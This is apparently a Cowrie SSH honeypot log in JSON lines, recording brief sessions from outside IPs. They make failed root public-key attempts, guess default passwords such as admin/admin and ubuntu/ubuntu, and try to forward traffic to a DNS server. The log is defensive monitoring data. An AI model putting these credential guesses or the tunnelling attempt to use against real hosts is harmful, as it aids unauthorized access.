{"eventid":"cowrie.session.connect","src_ip":"154.16.180.198","src_port":52002,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c245b196c20","protocol":"ssh","message":"New connection: 154.16.180.198:52002 (10.17.0.5:22) [session: 2c245b196c20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:14:48.972752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:14:48.977861Z","src_ip":"154.16.180.198","session":"2c245b196c20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:14:49.071046Z","src_ip":"154.16.180.198","session":"2c245b196c20","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:2a:3a:28:f1:a2:cc:1e:96:7a:2e:3a:64:04:ac:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuBqMheh9p3u2zhDL+jy5K5bOjBSGu6s0M0pz3ICNodVJAp/SCTi2EWFjYLBzNrzdByRk9+BcnVSSIhaycwM8hDfpjjEXcAFl5IB1v7nvsAToH0kHlpM3rLEBbs3iG9y3n2nXINPzwdMQQpr5RHxYdF5czHJM0OUVbNL4mvA3JArPp66lTaAjlwGG6vgJUdUwik8nC7noW8u4aTP7bYafI883eLRYCDfOrJRD8RtuPLK1W/VoMU0J8fjtaUzSl/NJTFHwsPbkaS1fsQvwCeF8oRsW2wksRXfOkR1o0akirV46MdLQyT6LJZdITAsPNonk7n+I9b05+9uJpXcGyvF44w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4d:2a:3a:28:f1:a2:cc:1e:96:7a:2e:3a:64:04:ac:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:14:49.518803Z","src_ip":"154.16.180.198","session":"2c245b196c20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:2a:3a:28:f1:a2:cc:1e:96:7a:2e:3a:64:04:ac:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuBqMheh9p3u2zhDL+jy5K5bOjBSGu6s0M0pz3ICNodVJAp/SCTi2EWFjYLBzNrzdByRk9+BcnVSSIhaycwM8hDfpjjEXcAFl5IB1v7nvsAToH0kHlpM3rLEBbs3iG9y3n2nXINPzwdMQQpr5RHxYdF5czHJM0OUVbNL4mvA3JArPp66lTaAjlwGG6vgJUdUwik8nC7noW8u4aTP7bYafI883eLRYCDfOrJRD8RtuPLK1W/VoMU0J8fjtaUzSl/NJTFHwsPbkaS1fsQvwCeF8oRsW2wksRXfOkR1o0akirV46MdLQyT6LJZdITAsPNonk7n+I9b05+9uJpXcGyvF44w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:14:49.522547Z","src_ip":"154.16.180.198","session":"2c245b196c20","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6f:dc:74:43:37:86:9a:f0:0f:ff:23:7d:61:f5:46:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDPAt7oVtUtMM59tjmUQkz3XQRAuzO/f/z3Pv3ha30qGgHTPbGvGq5Ig0muH6IHUCF9+IY/mi6yEXV7mhRGstx+MYGAQRgFwpVw6GC4g/05S1HsdH/l6VghZkvZ8MgRk4JVUwpFJQYNdDROecp0xWNabG3X17SZf7bBQJrOu2PmsNlqlOrUoN/acHaGtNzoVZbObaSInN6GHi2lQZtCo2jUyVmpYVe0qhUvhUZ8LLqh9jXmAm/MoELQba2JeF8qrtuyCD1kgT6gTSnWx19e3h68BOmtLSuXWm38Zkm4bMJvYLQixXEn+mnCiQanwCL9MIBRDXE5h3dY2CwHxvgcWlJKR0Eye1DzGZD8BOW/gxS0JM+taWfIpMrBdNC+wRkDNpJ9ZEHZF387tJ21WmouZxesIqJr1u07wpUopvtSb81C+mA0Z24SBZqYYhRxYyWoKbs+ECa0N3ZG2sNWH3fgXMPZBgeiZXNT1f4EEIb2WtKllTgSTFiTg/y7bX2PIhxrRCc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6f:dc:74:43:37:86:9a:f0:0f:ff:23:7d:61:f5:46:41","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:14:49.615112Z","src_ip":"154.16.180.198","session":"2c245b196c20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6f:dc:74:43:37:86:9a:f0:0f:ff:23:7d:61:f5:46:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDPAt7oVtUtMM59tjmUQkz3XQRAuzO/f/z3Pv3ha30qGgHTPbGvGq5Ig0muH6IHUCF9+IY/mi6yEXV7mhRGstx+MYGAQRgFwpVw6GC4g/05S1HsdH/l6VghZkvZ8MgRk4JVUwpFJQYNdDROecp0xWNabG3X17SZf7bBQJrOu2PmsNlqlOrUoN/acHaGtNzoVZbObaSInN6GHi2lQZtCo2jUyVmpYVe0qhUvhUZ8LLqh9jXmAm/MoELQba2JeF8qrtuyCD1kgT6gTSnWx19e3h68BOmtLSuXWm38Zkm4bMJvYLQixXEn+mnCiQanwCL9MIBRDXE5h3dY2CwHxvgcWlJKR0Eye1DzGZD8BOW/gxS0JM+taWfIpMrBdNC+wRkDNpJ9ZEHZF387tJ21WmouZxesIqJr1u07wpUopvtSb81C+mA0Z24SBZqYYhRxYyWoKbs+ECa0N3ZG2sNWH3fgXMPZBgeiZXNT1f4EEIb2WtKllTgSTFiTg/y7bX2PIhxrRCc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:14:49.619135Z","src_ip":"154.16.180.198","session":"2c245b196c20","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"23:6a:2b:1c:0c:fe:a0:2e:ff:bf:08:61:04:17:70:bb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAq1ukffYblUzB6FYjc1Zh0oK0dzls1o+0YAvGwtt8UWHlLZnpF4vf8Xe3eZGgZFV4pvCZYjm+XSG/gVXTr0uDNuOCjf492clbDFJYqAhO1CPuV0LZFn1TI1yDOEs1LySQs7k6yNAZhR3a+y5q5nqCVHX0p76C4JE77Tm607+vNVp1PUFT9giT/qCsU7nA4SWkYPJu95crxZ0VpAra3H2mdmPygTVm/exGztla4RIF4h5Myzf0h53JfWgfgOaY/D/nicCFg64K5+Nq6IDxVkNcVI7xrzC9Jb8dHRqD/Uo7zuHnCQSo7PMH9eHmku99gsQ59eNk1ICNVRmG/2To/pw6Lw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 23:6a:2b:1c:0c:fe:a0:2e:ff:bf:08:61:04:17:70:bb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:14:49.713624Z","src_ip":"154.16.180.198","session":"2c245b196c20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"23:6a:2b:1c:0c:fe:a0:2e:ff:bf:08:61:04:17:70:bb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAq1ukffYblUzB6FYjc1Zh0oK0dzls1o+0YAvGwtt8UWHlLZnpF4vf8Xe3eZGgZFV4pvCZYjm+XSG/gVXTr0uDNuOCjf492clbDFJYqAhO1CPuV0LZFn1TI1yDOEs1LySQs7k6yNAZhR3a+y5q5nqCVHX0p76C4JE77Tm607+vNVp1PUFT9giT/qCsU7nA4SWkYPJu95crxZ0VpAra3H2mdmPygTVm/exGztla4RIF4h5Myzf0h53JfWgfgOaY/D/nicCFg64K5+Nq6IDxVkNcVI7xrzC9Jb8dHRqD/Uo7zuHnCQSo7PMH9eHmku99gsQ59eNk1ICNVRmG/2To/pw6Lw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:14:49.718114Z","src_ip":"154.16.180.198","session":"2c245b196c20","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"09:2d:5f:68:7a:8d:5d:0e:7d:58:e6:e5:f4:68:ee:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD0v19XI5n2Do3P7t+ZnMQ51rLd2iwOWMSijsa6RUhlmwOJUbh6yZ9t6csZhx12+6RBsy4/r8xf4Zg6RLcxxKYdC9xdv1oqc++OmCBeSbpwJ4gkZkmY3VeuEjZvGmgtsjt3o4+t8i415uyYoVoTMWgi4BZL6vKFqrV0PG+j99eoqhXSpMFYtUSITA9Aruxg87f1/37PhVfGeS3OV2AplFU7VIZVk4BttKM9uguVZ0R/pBR9z6JxSEt9riFwa6O3FqPVwwv7kwmLn3VDUN4h5WWZSWfHS7e5TG6fWjhT2to0tpXGXMMm2m37oWUmdjl9oPQq55G1v4GJCod8P05HW05MwXPyUpoG0ZRniIwMu4qBILpDmNgPsKXCnh7Mt3XVhupimQD6vf5Rbnl0nU6+X/rJsrFQdusQclMWpxgXZdi4QrTWy62iwcnqZC82Skd3webNQdKBCUSn7+QekUwfHGbzmmAAOI2uqGvvsTb8yNd+LUjhBvx0SXRoD8i53YTG0cM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 09:2d:5f:68:7a:8d:5d:0e:7d:58:e6:e5:f4:68:ee:fe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:14:49.815048Z","src_ip":"154.16.180.198","session":"2c245b196c20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"09:2d:5f:68:7a:8d:5d:0e:7d:58:e6:e5:f4:68:ee:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD0v19XI5n2Do3P7t+ZnMQ51rLd2iwOWMSijsa6RUhlmwOJUbh6yZ9t6csZhx12+6RBsy4/r8xf4Zg6RLcxxKYdC9xdv1oqc++OmCBeSbpwJ4gkZkmY3VeuEjZvGmgtsjt3o4+t8i415uyYoVoTMWgi4BZL6vKFqrV0PG+j99eoqhXSpMFYtUSITA9Aruxg87f1/37PhVfGeS3OV2AplFU7VIZVk4BttKM9uguVZ0R/pBR9z6JxSEt9riFwa6O3FqPVwwv7kwmLn3VDUN4h5WWZSWfHS7e5TG6fWjhT2to0tpXGXMMm2m37oWUmdjl9oPQq55G1v4GJCod8P05HW05MwXPyUpoG0ZRniIwMu4qBILpDmNgPsKXCnh7Mt3XVhupimQD6vf5Rbnl0nU6+X/rJsrFQdusQclMWpxgXZdi4QrTWy62iwcnqZC82Skd3webNQdKBCUSn7+QekUwfHGbzmmAAOI2uqGvvsTb8yNd+LUjhBvx0SXRoD8i53YTG0cM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:14:49.819213Z","src_ip":"154.16.180.198","session":"2c245b196c20","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8f:c6:d7:71:8e:61:38:09:a0:34:82:52:e0:76:bb:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAy3rHLSSwczW6164sgjkNKLRyk5otqFeYg1OA+lE2RgEeUqNJjuz8caqPyrAMM39POLmSLwarI5fVgJ9APLGa+Qblaj1yjj/Yj4zqc22dxuytKHN/IoVYXsOGUq4TpK7+39N67qKMc6v9s1JyjVlFq9GclwTEt2vsEuAdfO9gf0HIynU4GAncHNlroI+YIVmTPhcn2VYhcWZa3W2C/JKIUIeVFwMjp5tkXSD2ArQGAhqKfqdmWFTT9Itr6xtnOgJNRRwdn4q60aRwPXh4M0XvIPiFu8l18DEQORJTqVsQ9uNdTkt1eJff7tR3jeNhkSo4UICtrRxsRzOuA5Tr8lK00Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8f:c6:d7:71:8e:61:38:09:a0:34:82:52:e0:76:bb:7a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:14:49.913413Z","src_ip":"154.16.180.198","session":"2c245b196c20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8f:c6:d7:71:8e:61:38:09:a0:34:82:52:e0:76:bb:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAy3rHLSSwczW6164sgjkNKLRyk5otqFeYg1OA+lE2RgEeUqNJjuz8caqPyrAMM39POLmSLwarI5fVgJ9APLGa+Qblaj1yjj/Yj4zqc22dxuytKHN/IoVYXsOGUq4TpK7+39N67qKMc6v9s1JyjVlFq9GclwTEt2vsEuAdfO9gf0HIynU4GAncHNlroI+YIVmTPhcn2VYhcWZa3W2C/JKIUIeVFwMjp5tkXSD2ArQGAhqKfqdmWFTT9Itr6xtnOgJNRRwdn4q60aRwPXh4M0XvIPiFu8l18DEQORJTqVsQ9uNdTkt1eJff7tR3jeNhkSo4UICtrRxsRzOuA5Tr8lK00Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:14:49.917484Z","src_ip":"154.16.180.198","session":"2c245b196c20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:14:50.021024Z","src_ip":"154.16.180.198","session":"2c245b196c20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":32026,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1326277ad29","protocol":"ssh","message":"New connection: 87.251.64.176:32026 (10.17.0.5:22) [session: c1326277ad29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:14:50.283271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:14:50.288865Z","src_ip":"87.251.64.176","session":"c1326277ad29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:14:50.385695Z","src_ip":"87.251.64.176","session":"c1326277ad29","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:14:50.677320Z","src_ip":"87.251.64.176","session":"c1326277ad29","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:14:50.776716Z","session":"c1326277ad29","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:14:50.875014Z","src_ip":"87.251.64.176","session":"c1326277ad29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:14:50.980137Z","src_ip":"87.251.64.176","session":"c1326277ad29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.15.132","src_port":18417,"dst_ip":"10.17.0.5","dst_port":22,"session":"eeedadab0410","protocol":"ssh","message":"New connection: 202.165.15.132:18417 (10.17.0.5:22) [session: eeedadab0410]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:15:14.948324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:15:14.953523Z","src_ip":"202.165.15.132","session":"eeedadab0410","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:15:15.197571Z","src_ip":"202.165.15.132","session":"eeedadab0410","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"r","message":"login attempt [ubuntu/r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:15:16.205647Z","src_ip":"202.165.15.132","session":"eeedadab0410","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:15:17.459137Z","src_ip":"202.165.15.132","session":"eeedadab0410","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":50660,"dst_ip":"10.17.0.5","dst_port":22,"session":"94d074e7cc92","protocol":"ssh","message":"New connection: 2.57.122.210:50660 (10.17.0.5:22) [session: 94d074e7cc92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:15:50.115135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:15:50.120319Z","src_ip":"2.57.122.210","session":"94d074e7cc92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:15:50.230863Z","src_ip":"2.57.122.210","session":"94d074e7cc92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:15:50.677255Z","src_ip":"2.57.122.210","session":"94d074e7cc92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:15:51.838115Z","src_ip":"2.57.122.210","session":"94d074e7cc92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.15.132","src_port":30648,"dst_ip":"10.17.0.5","dst_port":22,"session":"407048e79934","protocol":"ssh","message":"New connection: 202.165.15.132:30648 (10.17.0.5:22) [session: 407048e79934]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:16:12.063935Z"}
